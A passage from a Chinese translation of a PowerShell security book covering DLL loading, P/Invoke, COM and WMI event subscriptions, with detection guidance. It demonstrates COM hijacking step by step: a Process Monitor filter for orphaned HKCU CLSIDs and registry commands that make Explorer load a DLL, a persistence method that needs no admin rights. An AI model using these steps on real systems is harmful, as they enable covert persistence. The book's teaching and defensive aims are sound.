通过使用 API,你可以创建钩子(这是一种通过注入自定义代码使代码行为与原始设计不同的技术)、拦截系统事件、操作系统设置、监视系统资源、跟踪用户活动,甚至操控系统进程的行为,这对于各种目的都很有用,比如红队禁用防病毒软件或提升权限。
要了解更多关于Add-Type的信息,请参考官方的Add-Type文档:learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/add-type。
从 PowerShell 加载自定义 DLL
还有一种方法是在 PowerShell 中加载已编译的自定义 DLL。当然,你也可以先使用 csc.exe 编译你自己的程序。
你可以在本书的 GitHub 仓库中找到我们在本示例中使用的 DirectoryTest.cs 文件:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter05/DirectoryTest.cs。
我们首先使用 csc.exe 将程序编译成 DLL:
> C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:"C:\Users\Administrator\Documents\Chapter05\DirectoryTest.dll" "C:\Users\Administrator\Documents\Chapter05\DirectoryTest.cs"
现在,你可以加载已编译的 DLL,并使用 [****System.Reflection.Assembly]::Load() 函数加载它:
> $DllPath = "C:\Users\Administrator\Documents\Chapter05\DirectoryTest.dll"
> $DllBytes = [System.IO.File]::ReadAllBytes($DllPath)
> [System.Reflection.Assembly]::Load($DllBytes)
在 .NET 中,程序集是应用程序部署的最小基本单元。它可以是 .dll 文件或 .exe 文件。如果程序集是多个应用程序共享的,它通常存储在 全局程序集缓存(GAC) 中。
一旦 DLL 成功加载,你就可以从 PowerShell 访问它的方法,如下图所示:
图 5.20 – 从 PowerShell 加载自定义 DLL 并访问其方法
如前面的截图所示,通过使用 [DirectoryTest]::GetDirectories("C:\tmp"),可以执行在 DirectoryTest.dll 中定义的 GetDirectories 函数:所有指定目录中的文件夹和文件将写入输出。
类似于 [System.Reflection.Assembly]::Load() 函数,你也可以使用 Add-Type 配合 -Path 参数在 PowerShell 中加载 DLL:
图 5.21 – 使用 Add-Type 加载 DLL
你可以在本章的 GitHub 仓库中找到用于 图 5.21 的示例代码:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter05/Invoke-LoadDllWithAddType.ps1。
使用 P/Invoke 调用 Windows API
当你想要调用 PowerShell cmdlet 或 .NET 类没有暴露的函数(非托管代码)时,使用 Windows API 对 PowerShell 脚本编写是很有用的。
要从 PowerShell 调用 Windows API 函数,你需要做三件事:
-
使用
DllImport声明包含该函数的 DLL 文件,并指定 DLL 的位置。 -
声明函数签名(名称、参数、返回类型和调用约定)。
-
使用适当的参数调用函数。
让我们通过一个简单的示例来看如何使用 user32.dll 中的 MessageBoxA 函数:
$signature = @"
[DllImport("user32.dll")]
public static extern int MessageBoxA(IntPtr hWnd, string text, string caption, uint type);
"@
Add-Type -MemberDefinition $signature -Name "User32" -Namespace "Win32" -PassThru
$null = [Win32.User32]::MessageBoxA([IntPtr]::Zero, 'I just called to say "Hello World!" :-) ', 'Hello world', 0)
在本例中,我们首先使用 DllImport 特性声明来自 user32.dll 库的 MessageBoxA 函数的签名,并将其保存在 $signature 变量中。然后,我们使用 Add-Type cmdlet 将函数签名添加到 PowerShell 会话中,这样就可以在 PowerShell 脚本中使用该函数。
最后,我们调用 [Win32.User32]::MessageBoxA() 函数,传入函数签名中指定的相应参数。在我们的示例中,我们传入一个 null IntPtr 句柄,以指定消息框不应具有父窗口。然后我们指定消息字符串、标题,以及一个 uint 值来指定在消息框中显示的按钮和图标。在这个示例中,0 表示消息框应该只包含 OK 按钮。
执行后,定义的消息框会打开,并显示指定的消息和标题:
图 5.22 – 从 PowerShell 执行非托管代码
请注意,在使用 P/Invoke 时,确保函数签名与非托管 DLL 中的实际函数匹配是非常重要的,包括正确的参数类型、返回类型和调用约定。
在这个示例中,我们调用了来自 user32.dll 的非托管代码,结果打开了一个消息框。你可能会问,这与调用 System.Windows.Forms .NET 类中的 MessageBox 函数有什么区别。
一些 Win32 API 有对应的 .NET API,几乎完全可以实现我们在这里演示的内容(例如 System.Windows.Forms.MessageBox.Show()),但很多并没有。通过使用示例中演示的 P/Invoke 方法,你可以从 PowerShell 调用任何在非托管 DLL 中定义的函数,而 .NET 类则仅限于一组特定的函数,包括 MessageBox。
如果你想进一步探索加载和执行非托管代码,一个很好的资源是 pinvoke.net/。这是一个宝贵的资源,可以帮助你查找和操作P/Invoke签名、用户定义类型以及与非托管代码相关的其他信息。
更多关于如何使用 PowerShell 与 Windows API 交互的示例,敬请参考博客系列 使用 PowerShell 与 Windows API 交互,第 1-3 部分:
-
devblogs.microsoft.com/scripting/use-powershell-to-interact-with-the-windows-api-part-1/ -
devblogs.microsoft.com/scripting/use-powershell-to-interact-with-the-windows-api-part-2/ -
devblogs.microsoft.com/scripting/use-powershell-to-interact-with-the-windows-api-part-3/
在探索 .NET Framework 和 P/Invoke 后,是时候关注 Windows 操作系统中的另一项关键技术:COM。
了解组件对象模型(COM)和 COM 劫持
COM 是由微软在 1993 年推出的软件组件二进制标准,它定义了一套规则,用于描述软件组件如何相互交互,并允许进程间通信。微软开发 COM 是为了应对应用程序之间的互操作性需求。
COM 是许多其他技术的基础,例如OLE、COM+、DCOM、ActiveX、Windows 用户界面、Windows 运行时等。基本上,COM 只是一个中间件,位于两个组件之间,允许它们相互通信。
COM 的使用示例可以通过 对象链接和嵌入(OLE)的工作方式来展示:例如,如果你想在 PowerPoint 演示文稿中包含一个 Excel 表格。通常,如果没有 COM,PowerPoint 需要拥有实际的代码来实现使 Excel 工作的功能。但由于这样做会浪费资源并导致重复代码,显然没有必要在两个应用程序中复制相同的代码。更合理的做法是指向另一个应用程序以包含该功能。基本上,OLE 就是这样做的:它将一个 Excel 对象嵌入 PowerPoint,并链接到 Excel 的功能。
COM 是一种基于 客户端-服务器模型 的技术,在这种模型中,客户端在服务器中创建并使用 COM 组件,通过接口访问其功能。COM 服务器 通过在 COM 接口 中暴露相关的 方法 和 属性,为其他组件(称为 COM 客户端)提供服务。这些接口定义了客户端访问对象功能的标准化方式,无论实现语言如何。COM 服务器可以是 进程内 DLL 或 进程外 EXE。
COM 服务器是作为 COM 类 实现的,COM 类是定义 COM 对象行为和功能的蓝图。一个 COM 类通常实现一个或多个接口,并提供一组客户端可以使用的 方法 和 属性。每个 COM 类都有一个唯一的 128 位 全局唯一标识符(GUID),称为 CLSID,服务器必须注册该标识符。当客户端从服务器请求对象时,COM 使用该 CLSID 定位包含实现该类代码的 DLL 或 EXE,并创建该对象的实例。
这些组件可以通过 PowerShell 中的 New-Object cmdlet 使用,允许你实例化 COM 对象并通过其方法和属性与之交互。
在以下示例中,我们使用 New-Object cmdlet 创建 Excel.Application COM 对象的实例,该对象提供对 Excel 应用程序及其功能的访问。然后,我们使用实例化的对象创建一个新工作簿,添加一个新工作表,并将字符串 "Hello world!" 写入单元格 A1。最后,我们保存工作簿并退出 Excel 应用程序:
$excel = New-Object -ComObject Excel.Application
$workbook = $excel.Workbooks.Add()
$worksheet = $workbook.Worksheets.Item(1)
$worksheet.Cells.Item(1,1) = "Hello world!"
$workbook.SaveAs($env:TEMP + "\example.xlsx")
$excel.Quit()
请注意,为了使用 Excel COM 对象,你需要在计算机上安装 Excel。Excel COM 对象提供了大量的方法和属性,因此你可以做的不仅仅是前面的简单示例。
也可以使用 PowerShell 与远程机器上的 COM 组件交互,使用 分布式 COM(DCOM)。DCOM 使客户端能够连接到运行在远程机器上的 COM 组件,并像在本地机器上一样使用其功能。
虽然 COM 为软件组件之间的通信和互操作提供了强大的框架,但它也为对手提供了明显的优势,包括他们无需担心网络或安全设置,如代理或防火墙规则。在大多数情况下,所有设置已经为 Internet Explorer(IE)准备好。此外,IE 可以完全自动化并仪器化,执行各种操作,如导航到特定 URL、下载文件或与 HTML 文档的表单字段交互。所有内容也可以轻松地隐藏于用户之外,因为新创建的 IE 窗口默认是不可见的,如果浏览器已经执行并加载到内存中,再启动一个实例也不会引起怀疑。对于对手来说,COM 打开了滥用和利用的潜力,就像 COM 劫持 一样。
COM 劫持
共享库,如 DLL,允许多个应用程序共享公共代码,而无需在内存中重复加载,从而减少内存使用并防止代码重复。如果没有共享库,每个应用程序都需要携带自己的库,这会使程序变得更大、更占内存。但这也可能引发问题,例如 DLL 地狱,即不同版本的 DLL 被不同的应用程序安装或使用,导致崩溃或安全问题等。
COM 通过使用版本控制来解决 DLL 地狱问题。每个组件都有一个唯一标识符(CLSID)和一个版本标识符(ProgID),每个版本都安装在一个单独的目录中并注册到 Windows 注册表中。这允许多个版本共存而不会发生冲突。
但是,这种版本机制也可能被用来进行 COM 劫持。在这种攻击中,攻击者首先定位到一个由另一个进程使用但尚未注册的 CLSID。他们创建一个恶意的 DLL 并将其放置到受害者系统上。然后,他们创建一个注册表项,将 CLSID 链接到恶意 DLL。由于该注册表项是创建在 HKCU 中,因此此操作甚至不需要管理员权限。
在 COM 编程模型中,每个接口实现都要求包括三个基本方法:QueryInterface、AddRef 和 Release。这些方法通过 IUnknown 接口提供,而 IUnknown 接口是所有 COM 接口继承的基础接口。所有 COM 对象都必须实现 IUnknown 接口。
AddRef 用于在客户端使用对象时增加对象的引用计数,Release 用于在客户端完成对对象的使用时减少引用计数。
QueryInterface 用于获取指向 COM 对象支持的不同接口的指针。在 COM 劫持攻击中,攻击者的恶意 DLL 必须实现与其冒充的合法 COM 组件相同的接口,包括 IUnknown 接口和任何其他支持的接口。
当合法应用程序尝试实例化 COM 对象(该对象曾指向一个被废弃的键),并查询恶意 DLL 文件的 IUnknown 接口时,QueryInterface 方法会返回恶意 DLL 文件实现的其他接口的指针,从而使攻击者能够控制受害者的应用程序。通过了解 DLL 提供的导出函数,攻击者可以更好地计划其攻击并确定其要攻击的特定 COM 对象。
首先,我们需要识别哪些 COM 服务器缺少 CLSID 并且不需要提升权限(HKCU)。Process Monitor(procmon)是 SysInternals 套件的一部分,可以帮助我们实现这一目标。你可以从这里下载它:learn.microsoft.com/en-us/sysinternals/downloads/procmon。
我们可以使用多个注册表键来审计过期的 CLSID:
-
InprocServer**/**InprocServer32:此键指定实现进程内服务器的 DLL 的路径。这是我们在本例中使用的。 -
LocalServer**/**LocalServer32:此键定义本地 COM 服务器应用程序的完整路径,不论其位数或架构如何。 -
TreatAs:此注册表项指定能够模拟当前类的类的 CLSID。 -
ProgID:此键表示 COM 对象的可读字符串,代表底层的 CLSID,使应用程序更容易引用 COM 对象。
由于我们正在寻找一个可以被当前用户访问和更改的过期 InprocServer32 CLSID,我们正在使用以下过滤器参数在 HKCU 中查找未使用但已注册的 CLSID:
-
包含:操作 | **是
| **RegOpenKey -
包含:结果 | 是 | 未找到名称
-
包含:路径 | **以...结尾
| **InprocServer32 -
排除:路径 | **以...开头
| **HKLM
请注意,在这个示例中,我们使用的是一个过期的 InprocServer32 CLSID,但通过滥用 InprocServer、LocalServer、LocalServer32、TreatAs 或 ProgId,或者替换现有的 COM 对象,也有可能进行 COM 劫持。
以下截图展示了如何配置这个 Process Monitor 过滤器:
图 5.23 – 在 HKCU Hive 中过滤过期的 CLSID
捕获一些时间的事件(例如,5 分钟),确保常见活动被捕获。
图 5.24 – 捕获过期 CLSID
现在,你可以检查捕获的 CLSID,并找到你在 COM 劫持演示中想要使用的 CLSID。在本例中,我们使用的是 {CDC82860-468D-4d4e-B7E7-C298FF23AB2C},它是由 Explorer.exe 查询的。
我们接着创建一个 .dll 文件,COMHijack.dll。你可以在 GitHub 仓库中找到编译该文件的代码,链接为 github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter05/COMHijack/COMHijack/dllmain.cpp。
这段代码定义了一个 Windows DLL,当它被加载到内存中时,运行一个新进程来启动 Windows 计算器 calc.exe。DLL 的主函数设置了一个 switch 语句来处理 DLL 被加载的不同原因,在 DLL_PROCESS_ATTACH 情况下,它调用 CallCalculator 函数,后者创建一个新进程来运行 Windows 计算器。
我们编译 COMHijack.dll 并将其放置在 ${Env:\TEMP} 下。然后,我们为 {CDC82860-468D-4d4e-B7E7-C298FF23AB2C}\InprocSServer32 创建一个新的注册表项,并将默认属性的值设置为之前放置 COMHijack.dll 的位置:
$COMPath = ${Env:\TEMP} + "\COMHijack.dll"
$CLSIDString = "{CDC82860-468D-4d4e-B7E7-C298FF23AB2C}"
$RegPath = "HKCU:\Software\Classes\CLSID\" + $CLSIDString + "\InprocServer32"
New-Item -Path $RegPath -Force
New-ItemProperty -Path $RegPath -Name "(Default)" -Value $COMPath -Force
New-ItemProperty -Path $RegPath -Name "ThreadingModel" -Value "Apartment" -Force
现在,每当 Explorer.exe 被打开时,calc.exe 也会随之启动。
当然,这并不是 COM 劫持的唯一方式;还有很多其他选项可以探索。如果你想了解更多关于 COM 劫持的内容,我强烈推荐查阅本章 进一步阅读 部分的 COM 劫持链接。
Windows 操作系统中的另一个重要组件是 WMI。这个组件可以被攻击者和防御者利用——我们将在下一节中探讨它。
通用信息模型(CIM)/WMI
我们在第三章《探索 PowerShell 远程管理技术与 PowerShell 远程管理》一章中,已经学过 WMI 是微软的 CIM 实现,以及如何使用与 WMI 或 CIM 相关的 PowerShell cmdlet。
在本章中,我们将进一步探讨 WMI 在系统环境中的应用。
WMI 不是一种新技术,WMI 攻击也不是一种新的攻击向量。WMI 只会留下很小的取证痕迹,仅在内存中运行,是规避白名单和主机安全工具的绝佳方式。因此,WMI 在近年来的攻击中被武器化,前所未有。
一般来说,像 PowerShell、.NET、C/C++、VBScript 等应用程序可以通过 WMI API 访问 WMI。CIM 对象管理器(CIMOM)则管理每个 WMI 组件之间的访问。通信依赖于 COM/DCOM。
以下图示展示了 WMI 的架构:
图 5.25 – WMI 架构
WMI 消费者(或管理应用程序)通过 WMI API 连接到 WMI 基础架构和 WMI 服务(Winmgmt)。在这种情况下,我们将 PowerShell 作为唯一的管理应用程序,但当然,也有其他选择,例如 wmic.exe。
WMI 基础设施 充当消费者、提供程序和托管对象之间的中介。它由 CIM 核心和 CIM 仓库组成。WMI 基础设施是保持并连接 WMI 中所有内容的关键。
它支持各种 API,例如 WMI COM API,通过这些 API,消费者可以通过 WMI 基础设施访问 WMI 提供程序。
CIM 仓库是一个存储静态信息的数据库,并且组织在 命名空间 中。
命名空间
命名空间是一个逻辑数据库,其目的是将与特定管理环境相关的类和实例分组。一个好的例子是注册表提供程序,它将所有 WMI 类和提供程序分组以操作 Windows 注册表。
命名空间的根目录称为 ROOT。在所有 WMI 安装中,ROOT 下总是有四个 默认 的 WMI 命名空间:CIMV2、Default、Security 和 WMI。其中一些命名空间还有自己的子命名空间。
ROOT/cimv2 命名空间是最有趣的命名空间,因为几乎所有有趣的 CIM 类都存储在此命名空间中。如果你使用 Get-CimClass 查询所有类而不指定命名空间,默认会查询 ROOT/cimv2。
一些提供程序还定义了他们自己的命名空间。对于开发者来说,这样的好处是他们不需要寻求命名空间所有者的许可,并且可以摆脱其他限制性约束:
图 5.26 – 一些常见命名空间的概览
使用旧的 WMI cmdlet 时,可以使用 -****Recurse 参数枚举所有命名空间:
> Get-WmiObject __namespace -Namespace 'root' -List -Recurse | Format-Table __namespace
但是让我们看看如何使用新的 CIM cmdlet 执行操作,这些 cmdlet 也在 PowerShell Core 中得到支持——不再支持 WMI cmdlet。
要搜索一个命名空间,你可以使用 Get-CimInstance:
Get-CimInstance -ClassName __Namespace -Namespace 'root'
然而,使用 Get-CimInstance 不能递归搜索;该 cmdlet 不提供 -recurse 参数。为了使用 Get-CimInstance 递归搜索,我编写了一个小函数,你可以在本书的 GitHub 仓库中找到它:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter05/Get-CimNamespace.ps1。
加载函数后,你可以通过其名称 Get-CimNamespace 调用它。使用 -recurse 参数可以递归查询,如下图所示:
图 5.27 – 递归查询所有现有命名空间
一个命名空间不能单独工作;总是有一个由其 提供程序 管理的托管对象,并且该对象注册到命名空间中。
提供程序
提供者是 WMI 和托管对象之间的接口。它代表管理应用程序,向 CIMOM 提供托管对象的数据,并生成事件通知。
提供者通常包括以下分类:类、事件、事件消费者、实例、方法和属性。
类
类定义并表示托管对象的一般参数,这些对象由提供者提供。通常,它们在托管对象格式(MOF)中定义。
如果你还记得第一章《PowerShell 入门》,我们在这一章中也讨论了类。但在这个上下文中,类是特定于 WMI/CIM 的。
使用Get-CimClass cmdlet 可以帮助你列出特定命名空间中的所有可用类,或者通过-ClassName参数获取有关某个类的更多信息,如下截图所示:
图 5.28 – 在 PowerShell Core 中检索 CIM 类
使用旧版Get-WMIObject cmdlet,你可以查询meta_class表,以获取与Get-CimClass相同的信息,如下截图所示:
图 5.29 – 在 Windows PowerShell 中检索 WMI 类
每个类还定义了方法和属性,这与我们在第一章《PowerShell 入门》中讲解的面向对象编程的示例相似,但更具体地涉及 CIM/WMI:
-
方法:它们定义了我们如何与对象进行交互:
(Get-CimClass -ClassName Win32_OperatingSystem).CimClassMethods -
属性:它们允许我们更详细地定义一个对象,如构建号或版本号:
(Get-CimClass -ClassName Win32_OperatingSystem).CimClassProperties
在每个命名空间中,你都可以找到预定义的类,即WMI 系统类。系统类用于支持 WMI 的活动,如事件通知、事件和提供者注册以及各种安全任务。
与由提供者定义的类相比,系统类没有在 MOF 中定义。你可以在官方文档中找到所有预定义系统类的概述:docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-system-classes。
实例
我们在第一章《PowerShell 入门》中讨论过,对象是包含属性和方法的类实例。类似地,CIM 实例是一个独特的、单独的对象,它包含由CIM 类定义的属性和方法。
使用Get-CimInstance cmdlet,你可以通过指定-Class参数来查询指定的 CIM 实例。以下截图演示了如何查询Win32_OperatingSystem类:
图 5.30 – 在 PowerShell Core 中检索 CIM 实例
或者,您也可以使用-Query参数查询 WMI,如下例所示:
图 5.31 – 使用查询检索 CIM 实例
如果将输出与 CIM 类的输出进行比较,您可以快速发现类和实例之间的区别:类定义实例,而实例包含特定于当前系统的值。
事件
事件是由系统上发生的特定操作生成的。虽然并非所有操作都会生成事件,但许多重要的系统活动确实会导致事件被触发并记录在事件日志中。CIM 包含自己的事件基础设施:每当数据或服务发生变化时,都会生成通知。
内在事件
内在事件与 WMI/CIM 本身相关,例如创建新的 CIM 实例或 WMI/CIM 基础设施发生变化时。这些变化可以触发内在事件。
您可以使用(Get-CimClass -ClassName "*Event").CimSystemProperties | Where-Object {$_.ClassName -like "__*"}找到内在事件类的示例,如下截图所示:
图 5.32 – 查询内在事件类
在 WMI/CIM 中的一切都表示为对象,因此每个事件也表示为对象,并且有自己的类。这种行为类似于外在 WMI 事件。
外在事件
外在事件是由 WMI 提供程序响应系统状态变化而生成的,例如安装新软件或修改系统设置。例如,如果操作系统重新启动或更改注册表键,则提供程序可以使用这些事件生成 WMI/CIM 事件。
使用(Get-CimClass).CimSystemProperties | Where-Object {($_.ClassName -notlike "__*") -and (($_.ClassName -like "*Event") -or ($_.ClassName -like "*Trace"))}可以找到外在事件类的示例,如下截图所示:
图 5.33 – 查询外在事件类
这样的查询有助于发现可用于监视系统变化的事件类。例如,您可以使用这些类创建一个脚本,在触发感兴趣的事件时创建一个新的事件日志条目。
事件消费者
为了支持事件通知,事件消费者可以在提供程序内使用,将物理消费者映射到逻辑消费者。消费者定义了如果发生某种变化应触发什么操作。
事件订阅
监控 WMI/CIM 事件可以帮助你作为蓝队成员检测操作系统中发生的变化,同时也能帮助基于某些行为进行攻击的红队成员。
当第一次处理 WMI/CIM 事件时,可能会感到有些不知所措。为了帮助你更好地理解,我们首先以简化的方式查看基本步骤。
-
创建 WMI 查询语言(WQL)查询:与查询 WMI/CIM 数据类似,你还需要为事件订阅创建查询。
-
创建事件过滤器:一旦你创建了一个 WQL 查询,就需要创建一个过滤器,然后将查询注册到 CIM 中。
-
创建消费者:消费者定义了当事件过滤器返回类发生变化时应采取的行动。
-
将事件过滤器绑定到消费者:通过这最后一步,我们使 WMI/CIM 事件订阅生效。执行这一步骤后,每次事件过滤器收到匹配时,消费者将会收到通知。
创建 WQL 查询
在之前的类部分中,你已经了解了不同目的的预定义系统类。当涉及到 WMI/CIM 事件时,以下四个系统类可能对你最有兴趣:
-
InstanceCreationEvent:检查是否创建了新实例。例如,你可以检查是否创建了新进程。 -
InstanceDeletionEvent:检查是否删除了实例。例如,你可以检查进程是否被终止。 -
InstanceModificationEvent:检查实例是否被修改。例如,你可以检查注册表键是否被修改。 -
InstanceOperationEvent:检查所有三种类型的事件——实例是否被创建、删除或修改。
以下是一个 WQL 事件订阅查询的例子。如果 Windows 服务被终止,它将被触发:
Select * from __InstanceDeletionEvent within 15 where TargetInstance ISA 'Win32_Service'
使用这个例子,你可以简要理解这样的查询是什么样的:
图 5.34 – WQL 事件订阅查询的结构
第一部分指定了查询的对象——在这种情况下是InstanceDeletionEvents。检查周期指定了此查询的轮询间隔(以秒为单位),由关键字within指示。在这个例子中,查询每 15 秒运行一次。
在事件订阅查询中,条件不是必须的,但它们可以帮助你指定和缩小结果范围。条件通过where表示,类似于常规的 WQL 或 SQL 查询。
也可以指定多个条件,这些条件通过使用AND或OR与查询关联。例如,如果我们想检查并处理微软防御者被终止的事件,查询将如下所示:
Select * from __InstanceDeletionEvent within 15 where TargetInstance ISA 'Win32_Service' AND Targetinstance.name='windefend'
总结来说,在事件订阅查询中使用条件可以帮助缩小结果范围,并使你能够对特定事件采取有针对性的行动。
创建事件过滤器
现在是创建我们的事件筛选器的时候了。这可以通过使用New-CimInstance cmdlet 来完成,创建一个新的__EventFilter CIM 类实例。
让我们使用刚刚创建的 WQL 查询,并使用它创建一个事件筛选器,如下例所示:
$query = "Select * from __InstanceDeletionEvent within 15 where TargetInstance ISA 'Win32_Service' AND Targetinstance.name='windefend'"
$CimEventDefenderFilter = @{
Name = "MicrosoftDefenderFilter";
Query = $query;
QueryLanguage = "WQL";
EventNamespace = "\root\cimv2";
};
$CimEventDefenderInstance=New-CimInstance -ClassName __EventFilter -Namespace "Root/SubScription" -Property $CimEventDefenderFilter
要创建事件筛选器,我们需要定义属性,这在$CimEventDefenderFilter哈希表中完成。通过Name参数,实例被赋予MicrosoftDefenderFilter的名称。之前创建的查询被分配给$query变量,然后传递给$CimEventDefenderFilter属性的Query参数。QueryLanguage参数设置为WQL,表示查询使用的是 WMI 查询语言。最后,EventNamespace参数指定事件筛选器将被注册的命名空间,在此例中为\root\cimv2。
最后,在Root/SubScription命名空间中创建一个新的 CIM 实例,使用__EventFilter类,表示我们正在创建一个事件筛选器。此实例的属性设置为$CimEventDefenderFilter变量中的哈希表值。
你可以使用以下命令验证筛选器是否已创建:
> Get-CimInstance -Namespace root/subscription -ClassName __EventFilter
以下截图显示了事件筛选器成功创建后的样子:
图 5.35 – 验证筛选器是否已创建
接下来的步骤是,我们需要创建一个消费者。
创建消费者
在 WMI/CIM 事件订阅中,消费者用于定义当事件筛选器匹配时应该采取的操作。提供了几种类型的消费者,每种都有自己的属性:
-
ActiveScriptEventConsumer:当事件发生时,此消费者执行一个脚本。 -
CommandLineEventConsumer:当事件发生时,此消费者启动一个进程。请验证.exe文件的访问控制列表(ACL),以防止攻击者用恶意文件替换.exe文件。 -
LogFileEventConsumer:当事件发生时,此消费者会创建一个文本日志。 -
NTEventLogEventConsumer:当事件发生时,此消费者将事件记录到 Windows 事件日志中。 -
SMTPEventConsumer:当事件发生时,此消费者会发送一封电子邮件。
每个消费者都有自己的属性,因此在定义它们之前,请务必检查其属性。
以下示例演示了如何配置一个消费者,每次 Microsoft Defender 服务终止时记录事件:
$Message = @("%Targetinstance.Name% has been terminated on $env:computername. Current Status: %TargetInstance.Status%")
$CimDefenderConsumerProperties = @{
Name = 'Windows Defender Service (windefend) was terminated';
MachineName = $env:computername;
EventID = [uint32]12345;
EventType = [uint32]2;
SourceName = 'Application';
NumberOfInsertionStrings = [uint32]1;
InsertionStringTemplates = $Message
Category= [uint16]123;
}
$CimDefenderEventConsumer = New-CimInstance -ClassName NTEventLogEventConsumer -Namespace 'ROOT/subscription' -Property $CimDefenderConsumerProperties
$Message 变量定义了事件日志消息的内容,其中包括已终止服务的名称和状态。$CimDefenderConsumerProperties 变量定义了 NTEventLogEventConsumer 的属性,如机器名(MachineName)、事件 ID(EventID)、事件类型(EventType)、事件应记录的事件日志名称(SourceName = 'Application')以及事件本身的消息(InsertionStringTemplates)。NumberOfInsertionStrings 指定将在事件消息中使用的插入字符串数量。
在这种情况下,EventType 指定应记录一个警告(2)。以下是所有可能事件类型的概览:
-
0:成功事件 -
1:错误事件 -
2:警告事件 -
4:信息事件 -
8:成功审核类型 -
16:失败审核类型
最后,New-CimInstance cmdlet 创建消费者。
使用 Get-CimInstance cmdlet 验证它是否已成功创建:
> Get-CimInstance -Namespace Root/Subscription -ClassName SMTPEventConsumer
将事件筛选器绑定到消费者
最后,我们将事件筛选器绑定到消费者,以使 WMI/CIM 事件订阅生效。将事件筛选器绑定到消费者可以确保每次事件筛选器收到匹配时,消费者都会收到通知。
创建事件筛选器和消费者后,最后一步是将它们绑定在一起。这可以通过创建 __FilterToConsumerBinding 类的实例来完成。此类定义了事件筛选器与消费者之间的关系。
以下示例演示了如何在前一个示例中创建的事件筛选器和 SMTP 事件消费者之间创建绑定实例:
$CimDefenderBindingProperties=@{
Filter = [Ref]$CimEventDefenderInstance
Consumer = [Ref]$CimDefenderEventConsumer
}
$CimDefenderBinding = New-CimInstance -ClassName __FilterToConsumerBinding -Namespace "root/subscription" -Property $CimDefenderBindingProperties
在此示例中,我们使用New-CimInstance cmdlet 创建 __FilterToConsumerBinding 类的新实例。我们将事件筛选器和消费者实例作为引用传递给绑定实例的 Filter 和 Consumer 属性。
最后,我们可以使用 Get-CimInstance cmdlet 验证绑定是否创建成功,如下所示:
> Get-CimInstance -Namespace root/Subscription -ClassName __FilterToConsumerBinding
这将返回 root/subscription 命名空间中所有 __FilterToConsumerBinding 类的实例,包括我们刚刚创建的实例。
删除 CIM 实例
如果您想删除创建的任何 CIM 实例,可以使用 Remove-CimInstance cmdlet:
> Get-CimInstance -Namespace 'ROOT/subscription' -ClassName __EventFilter -Filter "name='MicrosoftDefenderFilter'" | Remove-CimInstance
上述代码段移除我们之前创建的事件筛选器 CIM 实例,'MicrosoftDefenderFilter'。
以下命令移除名为 'Windows Defender Service (windefend)** 已终止'** 的事件日志消费者 CIM 实例:
> Get-CimInstance -Namespace 'ROOT/subscription' -ClassName NTEventLogEventConsumer -Filter "name='Windows Defender Service (windefend) was terminated'" | Remove-CimInstance
最后但同样重要的是,要删除负责将事件筛选器绑定到消费者的 CIM 实例,请运行以下命令:
> Get-CimInstance -Namespace 'ROOT/subscription' -ClassName __FilterToConsumerBinding -Filter "Filter = ""__eventfilter.name='MicrosoftDefenderFilter'""" | Remove-CimInstance
监控 WMI/CIM 事件订阅
您可以使用 Windows 事件日志和 Sysmon 来检测和监控 WMI/CIM 事件相关的活动。
使用 Windows 事件日志时,你可以使用操作性的 WMI 活动日志来跟踪 WMI/CIM 相关的事件:
-
完整
名称:Microsoft-Windows-WMI-Activity/Operational -
日志
路径:%SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-WMI-Activity%4Operational.evtx -
UI 中的路径:应用和服务
| **Microsoft** | **Windows** |WMI 活动 | 操作性
此事件日志中与 PowerShell 安全日志相关的 最有趣的事件 ID 如下:
-
事件 ID 5857:提供程序以结果代码启动。此事件显示提供程序加载情况。
-
事件 ID 5858:错误消息。此事件通常在查询错误时触发。
-
事件 ID 5859:此事件表示启动了一个永久事件过滤器。
-
事件 ID 5860:注册或启动了一个临时事件消费者。
-
事件 ID 5861:注册了一个永久事件消费者绑定。
一些 WMI 活动事件可能会产生大量噪音,因此请根据你的环境和需求进行相应的过滤。事件 ID 5859、5860 和 5861 特别有助于帮助你发现恶意活动。
如果你想了解更多关于使用 Windows 事件日志跟踪 WMI 活动的内容,可以参考 Carlos Perez 撰写的以下博客文章:www.darkoperator.com/blog/2017/10/14/basics-of-tracking-wmi-activity。
Sysmon 提供了监控每当事件过滤器或消费者被注册或消费者绑定到过滤器时的功能:
-
事件 ID 19:当注册 WMI 事件过滤器时,记录 WMI 命名空间、过滤器名称和过滤器表达式。恶意软件可以利用这种方法执行代码。
-
事件 ID 20:记录 WMI 消费者的注册信息,包括消费者名称、日志和目标。
-
事件 ID 21:当消费者绑定到过滤器时,记录消费者名称和过滤器路径。这有助于识别哪个消费者正在接收来自特定过滤器的事件。
Sysmon 的噪音比 Windows WMI 活动事件日志少一些,但你需要先在你想要监控的系统上安装它,因此它既有优点也有缺点。
对于 WMI 活动的监控 总体来说——无论你使用 Windows 事件日志还是 Sysmon——都要查找新的事件过滤器和绑定被注册的情况,并过滤掉已知的好过滤器和绑定。
监控 wmic.exe 的使用——特别是查找 'process call create' 参数。观察 winrm.exe 的使用是否有横向移动的迹象,并调查是否使用 mofcomp.exe 编译了新的提供程序。查找在异常目录中创建的 MOF 文件。监控 WmiPrvse.exe 的子进程,因为它们可能表明通过 WMI 实例化了进程。
操作 CIM 实例
CIM 实例提供了一种标准化的方式来表示系统中的托管资源,允许用户以统一的方式与这些资源进行交互。但 CIM 实例也可以被操作。在这种情况下,可以使用 Set-CimInstance cmdlet 修改一个或多个 CIM 实例的属性。
并不是所有的 CIM 实例都可以操作,它们需要是可写的。要了解哪些属性是可写的,可以使用以下脚本,该脚本由 Trevor Sullivan 提供灵感:
$WritableCimProperties = foreach ($Class in Get-CimClass) {
foreach ($Property in $Class.CimClassProperties) {
if ($Property.Qualifiers.Name -contains 'Write') {
[PSCustomObject]@{
CimClassName = $Class.CimClassName
PropertyName = $Property.Name
Write = $true
}
}
}
}
$WritableCimProperties
一旦找到一个可以写入的属性并且你希望操作它,就可以使用 Set-CimInstance 来修改它。
以下示例演示了如何使用 CIM 通过 PowerShell 启用禁用的用户帐户:
